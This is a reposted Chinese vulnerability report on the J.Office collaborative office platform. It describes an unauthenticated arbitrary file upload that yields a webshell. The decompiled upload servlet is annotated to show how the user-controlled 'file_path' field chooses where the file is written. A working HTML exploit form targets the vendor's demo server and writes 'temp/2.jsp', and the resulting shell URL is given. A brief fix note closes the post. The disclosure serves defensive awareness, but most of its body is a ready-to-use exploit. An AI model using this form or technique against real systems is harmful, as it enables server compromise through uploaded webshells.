来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 无需登录 任意文件上传可getshell官网http: www jee-soft cn htsite index html产品J Office 协同办公开发平台产品介绍http: www jee-soft cn htsite html cpjfw cpzx 2012 06 12 1339484245731 html成功案例...
无需登录 任意文件上传可getshell http://www.jee-soft.cn/htsite/index.html
J.Office 协同办公开发平台
http://www.jee-soft.cn/htsite/html/cpjfw/cpzx/2012/06/12/1339484245731.html
http://www.jee-soft.cn/htsite/page/platformProduct/getProductList.ht
http://office.jee-soft.cn:8080/jasper-upload
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { req.setCharacterEncoding("UTF-8"); resp.setCharacterEncoding("UTF-8"); try { DiskFileItemFactory factory = new DiskFileItemFactory(); factory.setSizeThreshold(4096); factory.setRepository(new File(this.tempPath)); ServletFileUpload fu = new ServletFileUpload(factory); List fileItems = fu.parseRequest(req); for (FileItem fi : fileItems) { if ("file_cat".equals(fi.getFieldName())) { this.fileCat = fi.getString(); // } if ("file_path".equals(fi.getFieldName())) { this.filePath = fi.getString();//获取文本域的值 上传文件路径可以自己控制 } } Iterator i = fileItems.iterator(); while (i.hasNext()) { FileItem fi = (FileItem)i.next(); String fileContentType = fi.getContentType(); if (fileContentType == null) { continue; } if (fi.getContentType() == null) { continue; } String path = fi.getName(); int start = path.lastIndexOf("\\"); String fileName = path.substring(start + 1); String relativeFullPath = null; String generName = FileUtil.generateFilename(fileName); //随机生成文件名 没大碍 不是关键 int sindex = generName.lastIndexOf("/"); int eindex = generName.lastIndexOf("."); String generDir = generName.substring(sindex + 1, eindex); generName = generName.substring(0, sindex) + "/" + generDir + "/" + generName.substring(sindex + 1, generName.length()); if (!"".equals(this.filePath)) //这里关键 filepath可以控制 不要为空 relativeFullPath = this.filePath; //走这一步 就不用管随机生成的文件名是什么了 else { relativeFullPath = this.fileCat + "/" + generName; } int index = relativeFullPath.lastIndexOf("/"); File dirPath = new File(this.uploadPath + "/" + relativeFullPath.substring(0, index + 1)); if (!dirPath.exists()) { //目录不存在可创建 dirPath.mkdirs(); } File temFile = new File(this.uploadPath + "/" + relativeFullPath); //filepath可以控制 使得任意文件上传 fi.write(temFile); //写文件了 //后面的就不用看了 .........
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head> <title>upload</title> </head> <body> <form method="post" action="http://office.jee-soft.cn:8080/jasper-upload" enctype="multipart/form-data" > <input type="file" name="file" /> <input type="hidden" name="file_cat" value="a" /> <input type="hidden" name="file_path" value="temp/2.jsp" /> <input type="submit" name="tijiao" value="confirm"/> </form> </body> </html>
http://office.jee-soft.cn:8080/attachFiles/temp/2.jsp
修复方案:对filepath写死 防止用户设置 对文件名进行判断 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com